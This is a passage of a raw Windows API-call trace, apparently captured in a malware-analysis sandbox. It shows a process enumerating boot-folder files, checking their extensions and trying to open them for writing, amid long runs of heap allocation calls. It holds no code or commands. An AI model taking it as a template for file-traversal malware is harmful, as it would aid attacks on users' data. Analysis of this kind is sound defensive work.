ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.837] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0124.837] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.837] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.837] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.837] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.841] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.842] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.843] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.844] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.844] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 